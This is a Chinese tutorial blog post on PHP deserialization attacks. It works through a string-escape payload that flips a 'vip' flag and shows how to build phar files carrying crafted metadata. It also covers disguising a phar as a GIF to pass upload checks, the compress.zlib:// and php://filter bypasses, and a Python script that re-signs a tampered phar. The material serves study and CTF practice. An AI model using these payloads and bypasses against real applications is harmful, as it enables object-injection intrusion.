PHP反序列化(一)

序列化之后的格式

注意的是private和protected成员的序列化会有所不同如下例子

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
private $pub = 'benben';
protected $b = 'asd';
function jineng(){
echo $this->pub;
}
}
$a = new test();
echo serialize($a);
?>


里面的空字符url编码是%00

各种类型的标识

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string

常见魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__wakeup(), unserialize() 执行前调用
__destruct(), 对象销毁的时候调用
__toString(), 类被当成字符串时的回应方法
__construct(),当对象创建(new)时会自动调用,注意在unserialize()时并不会自动调用
__sleep(),serialize()时会先被调用,__sleep()先执行再序列化
__call(),在对象中调用一个不可访问方法时调用
__callStatic(),用静态方式中调用一个不可访问方法时调用
__get(),调用一个不存在的成员变量触发
__set(),设置一个不存在的或者不可访问的类的成员变量时调用
__isset(),当对不可访问属性调用isset()或empty()时调用
__unset(),当对不可访问属性调用unset()时被调用。
__wakeup(),执行unserialize()时,先会调用这个函数
__toString(),类被当成字符串时的回应方法
__invoke(),调用函数的方式调用一个对象时的回应方法
__set_state(),调用var_export()导出类时,此静态方法会被调用。
__clone(),当对象复制完成时调用
__autoload(),尝试加载未定义的类
__debugInfo(),打印所需调试信息

1.__call( )

假设test方法未定义,那么test这个方法名就会作为__call的第一个参数传入,而test的参数会被装进数组中作为__call的第二个参数传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class google
{
public function search()
{
}
public function __call($method, $parameters)
{
var_dump($parameters);
}
}

$google = new google();
$keyword = array("poc"=>"a");
$google->search($keyword);
$google->operate($keyword);
?>

结果:

2.__get( )

把不存在的成员属性的名称赋值给参数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class test{
public $aa;
function __get($a) {
echo $a;
}
}
$b = new test();
$b->p;
?>
结果就是输出
p

3.__set( )

把调用的属性名称赋值给第一个参数,属性的值赋值给第二个参数

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class NotExists{
public function __set($b,$c)
{
echo $b . '-----' . $c;
}
}
$ne = new NotExists();
$ne->libai = 'xiaoba';
?>
输出结果为:
libai-----xiaoba

4.__wake()绕过的版本限制

1
2
php7:<7.0.10
php5:<5.6.25

反序列化字符逃逸

在序列化后的字符串后面加任意字符并不影响反序列化后的输出
1.在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。(反序列化的过程就是碰到 ;} 与最前面的 { 配对后,便停止反序列化。)
2.字符串的读取长度是由变量数据类型后面的数字决定的
例如:;s:20:"hk”;s:4:”pass”;s:41:" 读取到的字符串是用行内代码标识的双引号内的字符串,实际应用中可以利用这个来修改后面的字符串达到漏洞的利用

减少形实例(增长性类比就好)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hk",$name);
return $name;
}
class test{
var $user;
var $pass;
var $vip = false ;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
}
$param='phpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphpphp';
$pass=';s:4:"pass";s:6:"benben";s:3:"vip";b:1;}';
$param=serialize(new test($param,$pass));
$profile=unserialize(filter($param));
if ($profile->vip){
echo file_get_contents("flag.php");
}
1
例如下列这串字符串运用到了1和2的方法进行利用:O:4:"test":3:{s:4:"user";s:54:"hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhkhk";s:4:"pass";s:41:"";s:4:"pass";s:6:"benben";s:3:"vip";b:1;}";s:3:"vip";b:0;}

phar反序列化

orange1.phar文件

1.stub:phar文件标识

1
2
3
4
5
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。
2.a manifest describing the contents
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
签名,放在文件末尾

orange2.实例化测试

根据文件结构我们来自己构建一个phar文件,php内置了一个Phar类来处理相关操作。
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class TestObject {
public $data;
}
$o = new TestObject();
$o->data='hello L1n!';
@unlink("phar.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

其实就是把序列化函数serialize变成了第7行以下的代码
可以看到meta-data是以序列化的形式存储的:

orange3.常见的绕过

  • 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://等绕过

    1
    2
    3
    compress.bzip://phar:///test.phar/test.txt
    compress.bzip2://phar:///test.phar/test.txt
    compress.zlib://phar:///home/sx/test.phar/test.txt
  • 也可以利用其它协议, 如 filter 过滤器

    1
    php://filter/read=convert.base64-encode/resource=phar://phar.phar
  • GIF格式验证可以通过在文件头部添加GIF89a绕过

    1
    2
    $phar->setStub(“GIF89a”."<?php __HALT_COMPILER(); ?>"); //设置stub
    //生成一个phar.phar,修改后缀名为phar.gif(通常上传都是要用gif后缀)
  • 过滤了__HALT_COMPILER();

将phar文件进行gzip压缩 ,使用压缩后phar文件同样也能反序列化 (常用)
linux下使用命令gzip phar.phar 生成

orange4.phar文件签名修改

对于某些情况,我们需要修改phar文件中的内容而达到某些需求(比如要绕过__wakeup要修改属性数量),而修改后的phar文件由于文件发生改变,所以须要修改签名才能正常使用
官方文档(https://www.php.net/manual/zh/phar.fileformat.signature.php#phar.fileformat.signature)中是这么说:

表格第二列的0x0001表示的是签名类型1是md5,0x0002代表的是签名类型是sha1,其余的以此类推

用winhex或010-editor查看phar文件签名类型(以上述代码生成的phar文件为例)

修改文件签名的脚本

1
2
3
4
5
6
7
8
9
10
from hashlib import sha1
with open('phar.phar', 'rb') as file:
f = file.read() # 修改内容后的phar文件,以二进制文件形式打开

s = f[:-28] # 获取要签名的数据(对于sha1签名的phar文件,文件末尾28字节为签名的格式)
h = f[-8:] # 获取签名类型以及GBMB标识,各4个字节
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)

with open('newPhar.phar', 'wb') as file:
file.write(newf) # 写入新文件

phar反序列化触发条件

  • phar文件能上传到服务器端
  • 要有可用的反序列化魔术方法
  • 要有文件操作函数
  • 文件操作函数参数可控

PHP反序列化(一)
http://example.com/2024/08/18/PHP反序列化(一)/
作者
unjoke
发布于
2024年8月18日
许可协议